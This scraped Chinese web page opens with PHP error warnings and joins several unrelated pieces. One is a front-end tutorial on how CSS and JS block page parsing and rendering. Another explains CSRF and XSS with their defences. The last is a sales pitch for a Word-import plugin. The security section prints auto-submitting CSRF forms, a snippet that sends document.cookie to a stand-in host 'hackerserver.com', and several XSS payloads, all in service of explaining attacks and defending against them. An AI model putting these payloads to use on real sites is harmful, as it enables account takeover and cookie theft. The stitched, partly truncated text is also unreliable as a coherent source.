Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
計大家都聽過,盡量將CSS放頭部,JS放底部,這樣可以提高頁面的性能。然而,為什么呢?大家有考慮過么?很長一段時間,我都是知其然而不知其所以然,強行背下來應付考核當然可以,但實際應用中必然一塌糊涂。因此洗(wang)心(yang)革(bu)面(lao),小結(jié)一下最近玩出來的成果。
node端唯一需要解釋一下的是這個函數(shù):
function sleep(time) { return new Promise(function(res) { setTimeout(() => { res() }, time); }) }
嗯!其實就延時啦。如果CSS或者JS文件名有sleep3000之類的前綴時,意思就是延遲3000毫秒才會返回這文件。
下文使用的HTML文件是長這樣的
我會在其中插入不同的JS和CSS。
而使用的common.css,不論有沒有前綴,內(nèi)容都是這樣的:
div { background: lightblue; }
好了,話不多數(shù),開始正文!
關(guān)于CSS,大家肯定都知道的是<link>標簽放在頭部性能會高一點,少一點人知道如果<script>與<link>同時在頭部的話,<script>在上可能會更好。這是為什么呢?下面我們一起來看一下CSS對DOM的影響是什么。
CSS 不會阻塞 DOM 的解析
注意哦!這里說的是DOM 解析,證明的例子如下,首先在頭部插入<script defer src="/js/logDiv.js"></script>,JS文件的內(nèi)容是:
const div = document.querySelector('div'); console.log(div);
defer屬性相信大家也很熟悉了,MDN對此的描述是用來通知瀏覽器該腳本將在文檔完成解析后,觸發(fā) DOMContentLoaded 事件前執(zhí)行。設置這個屬性,能保證DOM解析后馬上打印出div。
之后將<link rel="stylesheet" href="/css/sleep3000-common.css">插入HTML文件的任一位置,打開瀏覽器,可以看到是首先打印出div這個DOM節(jié)點,過3s左右之后才渲染出一個淺藍色的div。這就證明了CSS 是不會阻塞 DOM 的解析的,盡管CSS下載需要3s,但這個過程中,瀏覽器不會傻等著CSS下載完,而是會解析DOM的。
這里簡單說一下,瀏覽器是解析DOM生成DOM Tree,結(jié)合CSS生成的CSS Tree,最終組成render tree,再渲染頁面。由此可見,在此過程中CSS完全無法影響DOM Tree,因而無需阻塞DOM解析。然而,DOM Tree和CSS Tree會組合成render tree,那CSS會不會頁面阻塞渲染呢?
CSS 阻塞頁面渲染
其實這一點,剛才的例子已經(jīng)說明了,如果CSS 不會阻塞頁面阻塞渲染,那么CSS文件下載之前,瀏覽器就會渲染出一個淺綠色的div,之后再變成淺藍色。瀏覽器的這個策略其實很明智的,想象一下,如果沒有這個策略,頁面首先會呈現(xiàn)出一個原始的模樣,待CSS下載完之后又突然變了一個模樣。用戶體驗可謂極差,而且渲染是有成本的。
因此,基于性能與用戶體驗的考慮,瀏覽器會盡量減少渲染的次數(shù),CSS順理成章地阻塞頁面渲染。
然而,事情總有奇怪的,請看這例子,HTML頭部結(jié)構(gòu)如下:
<header> <link rel="stylesheet" href="/css/sleep3000-common.css"> <script src="/js/logDiv.js"></script> </header>
但思考一下這會產(chǎn)生什么結(jié)果呢?
答案是瀏覽器會轉(zhuǎn)圈圈三秒,但此過程中不會打印任何東西,之后呈現(xiàn)出一個淺藍色的div,再打印出null。結(jié)果好像是CSS不單阻塞了頁面渲染,還阻塞了DOM 的解析??!稍等,在你打算掀桌子瘋狂吐槽我之前,請先思考一下是什么阻塞了DOM 的解析,剛才已經(jīng)證明了CSS是不會阻塞的,那么阻塞了頁面解析其實是JS!但明明JS的代碼如此簡單,肯定不會阻塞這么久,那就是JS在等待CSS的下載,這是為什么呢?
仔細思考一下,其實這樣做是有道理的,如果腳本的內(nèi)容是獲取元素的樣式,寬高等CSS控制的屬性,瀏覽器是需要計算的,也就是依賴于CSS。瀏覽器也無法感知腳本內(nèi)容到底是什么,為避免樣式獲取,因而只好等前面所有的樣式下載完后,再執(zhí)行JS。因而造成了之前例子的情況。
所以,看官大人明白為何<script>與<link>同時在頭部的話,<script>在上可能會更好了么?之所以是可能,是因為如果<link>的內(nèi)容下載更快的話,是沒影響的,但反過來的話,JS就要等待了,然而這些等待的時間是完全不必要的。
JS,也就是<script>標簽,估計大家都很熟悉了,不就是阻塞DOM解析和渲染么。然而,其中其實還是有一點細節(jié)可以考究一下的,我們一起來好好看看。
JS 阻塞 DOM 解析
首先我們需要一個新的JS文件名為blok.js,內(nèi)容如下:
const arr = []; for (let i = 0; i < 10000000; i++) { arr.push(i); arr.splice(i % 3, i % 7, i % 5); } const div = document.querySelector('div'); console.log(div);
其實那個數(shù)組操作時沒意義的,只是為了讓這個JS文件多花執(zhí)行時間而已。之后把這個文件插入頭部,瀏覽器跑一下。
結(jié)果估計大家也能想象得到,瀏覽器轉(zhuǎn)圈圈一會,這過程中不會有任何東西出現(xiàn)。之后打印出null,再出現(xiàn)一個淺綠色的div?,F(xiàn)象就足以說明JS 阻塞 DOM 解析了。其實原因也很好理解,瀏覽器并不知道腳本的內(nèi)容是什么,如果先行解析下面的DOM,萬一腳本內(nèi)全刪了后面的DOM,瀏覽器就白干活了。更別談喪心病狂的document.write。瀏覽器無法預估里面的內(nèi)容,那就干脆全部停住,等腳本執(zhí)行完再干活就好了。
對此的優(yōu)化其實也很顯而易見,具體分為兩類。如果JS文件體積太大,同時你確定沒必要阻塞DOM解析的話,不妨按需要加上defer或者async屬性,此時腳本下載的過程中是不會阻塞DOM解析的。
而如果是文件執(zhí)行時間太長,不妨分拆一下代碼,不用立即執(zhí)行的代碼,可以使用一下以前的黑科技:setTimeout()。當然,現(xiàn)代的瀏覽器很聰明,它會“偷看”之后的DOM內(nèi)容,碰到如<link>、<script>和<img>等標簽時,它會幫助我們先行下載里面的資源,不會傻等到解析到那里時才下載。
瀏覽器遇到 <script> 標簽時,會觸發(fā)頁面渲染
這個細節(jié)可能不少看官大人并不清楚,其實這才是解釋上面為何JS執(zhí)行會等待CSS下載的原因。先上例子,HTML內(nèi)body的結(jié)構(gòu)如下:
<body> <div></div> <script src="/js/sleep3000-logDiv.js"></script> <style> div { background: lightgrey; } </style> <script src="/js/sleep5000-logDiv.js"></script> <link rel="stylesheet" href="/css/common.css"> </body>
這個例子也是很極端的例子,但不妨礙它透露給我們很多重要的信息。想象一下,頁面會怎樣呢?
答案是先淺綠色,再淺灰色,最后淺藍色。由此可見,每次碰到<script>標簽時,瀏覽器都會渲染一次頁面。這是基于同樣的理由,瀏覽器不知道腳本的內(nèi)容,因而碰到腳本時,只好先渲染頁面,確保腳本能獲取到最新的DOM元素信息,盡管腳本可能不需要這些信息。
綜上所述,我們得出這樣的結(jié)論:
所以,你現(xiàn)在明白為何<script>最好放底部,<link>最好放頭部,如果頭部同時有<script>與<link>的情況下,最好將<script>放在<link>上面了嗎?
前端要知道的網(wǎng)絡知識一:TCP/IP 協(xié)議到底在講什么
前端要知道的網(wǎng)絡知識二:TCP協(xié)議的三次握手和四次分手
前端要知道的網(wǎng)絡知識三:認識OSI七層模型
前端要知道的網(wǎng)絡知識四:TCP的概念和HTTP連接管理
前端要知道的網(wǎng)絡知識五:詳細的介紹web緩存
前端要知道的網(wǎng)絡知識六:詳細介紹URL及其用法
前端要知道的網(wǎng)絡知識七:初識HTTP報文
前端要知道的網(wǎng)絡知識八:GET 和 POST 到底有什么區(qū)別
前端要知道的網(wǎng)絡知識九:初識HTTPS加密過程,原來如此
前端要知道的網(wǎng)絡知識十:HTTPS加密核心RSA算法
....
鏈接文章
https://juejin.im/post/59c60691518825396f4f71a1
https://github.com/ljf0113/how-js-and-css-block-dom
https://github.com/stephentian/33-js-concepts?utm_source=gold_browser_extension
、CSRF
CSRF 全稱叫做,跨站請求偽造(Cross—Site Request Forgery),顧名思義,攻擊者盜用了你的身份,以你的名義發(fā)送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發(fā)送郵件、發(fā)消息,盜取你的賬號,添加系統(tǒng)管理員,甚至于購買商品、虛擬貨幣轉(zhuǎn)賬等。對于服務器而言,判斷請求對象是否是你本身的方法限于提供身份認證的cookie、秘鑰等,無法去識別個體。
1.原理介紹及流程分析
以下,舉例模擬一個被CSRF攻擊影響的例子:
①用戶C打開瀏覽器,訪問受信任網(wǎng)站A,輸入用戶名和密碼請求登錄網(wǎng)站A;
②在用戶信息通過驗證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時用戶登錄網(wǎng)站A成功,可以正常發(fā)送請求到網(wǎng)站A;
③用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開一個TAB頁訪問網(wǎng)站B;
④網(wǎng)站B接收到用戶請求后,返回一些攻擊性代碼,并發(fā)出一個請求要求訪問第三方站點A;
⑤瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請求。網(wǎng)站A并不知道該請求其實是由B發(fā)起的,所以會根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請求,導致來自網(wǎng)站B的惡意代碼被執(zhí)行。
更為具體的舉例,偽造請求的方式一般有如下幾種方式:
// 頁面中有一個超鏈接,誘導用戶進行點擊
<a href="https://aaa.com?userid=3&money=9999">誘導信息</a>
// 直接在頁面上使用Img進行g(shù)et請求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表單進行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
2.CSRF漏洞檢測
檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的數(shù)據(jù)包,去掉Referer字段后再重新提交,如果該提交還有效,那么基本上可以確定存在CSRF漏洞。
當然我們也可以試著利用根據(jù)來進行漏洞檢測,隨著對CSRF漏洞研究的不斷深入,不斷涌現(xiàn)出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具為例,CSRF漏洞檢測工具的測試原理如下:使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有鏈接以及所有的表單等信息,然后通過在CSRFTester中修改相應的表單等信息,重新提交,這相當于一次偽造客戶端請求。如果修改后的測試請求成功被網(wǎng)站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。
3.CSRF防御原理
根據(jù)以上的方式我們能顯而易見看到,問題就出在“訪問網(wǎng)站B”和“攜帶Cookie信息”上。針對CRSF攻擊,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數(shù)據(jù),我們要在防護的數(shù)據(jù)中加入簽名校驗,并對數(shù)據(jù)進行生命周期時間管理,就是數(shù)據(jù)過期管理。
由此得出,CSRF防護的一個重點是要對“用戶憑證”進行校驗處理,通過這種機制可以對用戶的請求是合法進行判斷,判斷是不是跨站攻擊的行為。因為“用戶憑證”是Cookie中存儲的,所以防護機制的處理對像也是Cookie的數(shù)據(jù),我們要在防護的數(shù)據(jù)中加入簽名校驗,并對數(shù)據(jù)進行生命周期時間管理,就是數(shù)據(jù)過期管理。
①防御思路
針對防止CSRF的發(fā)生,創(chuàng)建Token處理機制,Token數(shù)據(jù)結(jié)構(gòu)與時間、加密簽名直接相關(guān), 這么設計的的目的如上所說,是給“身份憑證”加上時間生存周期管理和簽名校驗管理,如果的憑證被人拿到了, 要先判斷Token中的“簽名”與時間戳是否都有效,再進行正常的業(yè)務處理, 這樣通過對非法數(shù)據(jù)的校驗過濾,來降低CSRF攻擊的成功率。
②簽名與時間戳防護處理流程
在token中加入上述方法中所描述的時間戳信息和簽名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
token = base64(msg)格式化..base64(sha256("密鎖", msg))
整個Token就是由被Base64的msg編碼串+先256加密msg再進行Base64編碼,兩個串的內(nèi)容結(jié)合。
③Token校驗
在整個防御做法中,對于token的校驗流程為:
二、XSS
XSS(跨站腳本攻擊,Cross-site scripting,簡稱并不是 CSS,因為 CSS是 層疊樣式表)是一種常見的 web 安全問題。XSS 攻擊手段是允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結(jié)構(gòu)、重定向到其它網(wǎng)站等。
1.XSS攻擊類型區(qū)分
① 反射型
反射型 XSS攻擊 通常是簡單地把用戶輸入的數(shù)據(jù)“反射”給瀏覽器。黑客一般會誘使用戶點擊一個有惡意的鏈接,用戶點擊就會發(fā)起 XSS 攻擊。反射型 XSS 攻擊可以將 JavaScript 腳本插入到 HTML 節(jié)點中、HTML 屬性中以及通過 JS 注入到 URL 或 HTML 文檔中。
② 儲存型
存儲型 XSS攻擊 這種攻擊會把用戶輸入的數(shù)據(jù)存儲到服務器中。例如在一個有 XSS 漏洞的博客網(wǎng)站,黑客寫下一篇含有惡意 JavaScript 代碼的文章,文章發(fā)布后,所有看了這篇博文的用戶都會在他們的瀏覽器中執(zhí)行惡意 JavaScript 代碼。
③ DOM-based 型
注意: 這種類型的劃分與以上兩種類型劃分方式不同,是按照Payload的位置劃分
DOM-based 型XSS攻擊 基于 DOM 的 XSS 攻擊是指通過惡意腳本修改頁面的 DOM 結(jié)構(gòu),是純粹發(fā)生在客戶端的攻擊。DOM 型 XSS 攻擊中,取出和執(zhí)行惡意代碼由瀏覽器端完成,屬于前端 JavaScript 自身的安全漏洞。
發(fā)起 XSS 攻擊后,黑客寫入的 JavaScript 代碼就會執(zhí)行,通過腳本可以控制用戶的瀏覽器。一個常見的攻擊手段是“Cookie 劫持”,cookie 中一般加密保存著當前用戶的登錄憑據(jù),黑客可以通過惡意代碼將用戶的 cookie 發(fā)到自己的服務器上,然后就可以做到無密碼登錄上用戶的賬戶。
2.實現(xiàn)XSS攻擊的條件
①需要向web頁面注入惡意代碼;
②這些惡意代碼能夠被瀏覽器成功的執(zhí)行。
3.會利用XSS攻擊獲取什么?
①竊取cookies,讀取目標網(wǎng)站的cookie發(fā)送到黑客的服務器上,如下面的代碼:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到來自瀏覽器的自帶防御,瀏覽器針對于這類問題的存在,對于DOM對象的訪問會有自己的禁用方式,避免最基本的XSS注入。例如在舊版的IE8和IE8以下的版本都是可以被執(zhí)行的,火狐也能執(zhí)行代碼,但火狐對其禁止訪問DOM對象,所以在火狐下執(zhí)行將會看到控制里拋出異常:document is not defined
②讀取用戶未公開的資料,如果:郵件列表或者內(nèi)容、系統(tǒng)的客戶資料,聯(lián)系人列表等等,如代碼
③篡改網(wǎng)頁,進行釣魚或者惡意傳播
④網(wǎng)站重定向
4.XSS的防御
①具體舉例: 注入轉(zhuǎn)義
對于URL做解析時和發(fā)起get請求時都會需要讀取URL攜帶的參數(shù),如果將 url 中的參數(shù)直接插入到 DOM 中,這就有可能構(gòu)成 XSS 攻擊,攻擊者利用這一漏洞,給其他用戶發(fā)送一個有惡意的鏈接,用戶就有可能中招。 如:
http://www.example/test.index?param=<script>alert('XSS')</script>
這個 URL 的 param 參數(shù)值并不是合理的,而是攻擊者構(gòu)建的。
再如: 一個超鏈接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通過點擊鏈接的方式注入XSS,去獲取當前用戶的Cookie。
②防御方式
③常見的xss攻擊方法
<img src=“javascript:alert(‘xss’)”/>
(當然并不是所有的Web瀏覽器都支持Javascript偽協(xié)議,所以此類XSS攻擊具有一定的局限性)
<img src=“javas cript:alert(/xss/);”/>
<img src=“#” onerror= “alert(1)”/>
當src錯誤的視乎就會執(zhí)行onerror事件
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
<IMG SRC=“javaSCript: alert(/xss/);”/>
5.XSS攻擊防御
原則:不相信客戶輸入的數(shù)據(jù)
注意:攻擊代碼不一定在<script></script>中
輸入過濾,對用戶提交的數(shù)據(jù)進行有效性驗證,僅接受指定長度范圍內(nèi)并符合我們期望格式的的內(nèi)容提交,阻止或者忽略除此外的其他任何數(shù)據(jù)。比如:電話號碼必須是數(shù)字和中劃線組成,而且要設定長度上限。過濾一些些常見的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for;過濾JavaScript 事件的標簽,例如 "onclick=", "onfocus" 等等。
輸出編碼,當需要將一個字符串輸出到Web網(wǎng)頁時,同時又不確定這個字符串中是否包括XSS特殊字符(如< > &‘”等),為了確保輸出內(nèi)容的完整性和正確性,可以使用編碼(HTMLEncode)進行處理。
把變量輸出到頁面時要做好相關(guān)的編碼轉(zhuǎn)義工作,如要輸出到 <script>中,可以進行JS編碼;要輸出到HTML內(nèi)容或?qū)傩裕瑒t進行HTML編碼處理。根據(jù)不同的語境采用不同的編碼處理方式。
將重要的cookie標記為http only, 這樣的話當瀏覽器向Web服務器發(fā)起請求的時就會帶上cookie字段,但是在腳本中卻不能訪問這個cookie,這樣就避免了XSS攻擊利用JavaScript的document.cookie獲取cookie:
原文:https://juejin.cn/post/6874730741989801997
AVA中將WORD轉(zhuǎn)換為HTML導入到WANGEDITOR編輯器中(解決圖片問題,樣式,非常完美),wangEditor如何導入word文檔,如何實現(xiàn)導入WORD文檔到WANGEDITOR編輯器中?WANGEDITOR導入WORD文檔 WANGEDITOR WORD導入插件,HTML富文本編輯器導入WORD,Web富文本編輯器導入WORD,WANGEDITOR富文本編輯器導入WORD,WANGEDITOR導入WORD,WANGEDITORWORD導入編輯,wangEditor集成word導入功能,
后端是用的JAVA,SpringBoot框架,實際上前端在集成的時候是不關(guān)心后端具體是用什么語言實現(xiàn)的。
它這個版本有幾個wangEditor3,wangEditor4,wangEditor5,好用的是就3和4,5不支持插入HTML。但是用戶用插入HTML這個功能用的比較多。
vue-cli-wangEditor3,vue3-cli-wangEditor4集成word導入功能。在VUE框架下面集成了WORD導入功能。
用戶選擇word文件后,自動轉(zhuǎn)換成html,自動將word里面的圖片上傳到服務器中,自動將HTML添加到編輯器中。
主要的方案就是提供一個轉(zhuǎn)換接口,轉(zhuǎn)換接口使用RESTful協(xié)議,這樣的話兼容性更好一點,其它的平臺用起來的話更方便簡單一點,而且測試起來也方便。
現(xiàn)有項目需要為TinyMCE增加導入word文件的功能,導入后word文件里面的圖片自動上傳到服務器中,返回圖片和文字HTML,word里面的文本樣式保留
用戶一般在發(fā)新聞和發(fā)文章時用到,算是一個高頻使用功能,用戶體驗上來講確實是很好,和以前的發(fā)新聞或者發(fā)文章的體驗比起來要方便許多,用戶用的更爽。
1.下載示例
https://gitee.com/xproer/zyoffice-vue3-cli-wang-editor4
2.引入組件
3.添加按鈕
4.配置轉(zhuǎn)換接口
效果
開發(fā)文檔:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsDazDKJ
產(chǎn)品比較:https://drive.weixin.qq.com/s?k=ACoAYgezAAwh8oq8Zf
產(chǎn)品源代碼:https://drive.weixin.qq.com/s?k=ACoAYgezAAwjJM8412
報價單:https://drive.weixin.qq.com/s?k=ACoAYgezAAwsfyDdrf
*請認真填寫需求信息,我們會在24小時內(nèi)與您取得聯(lián)系。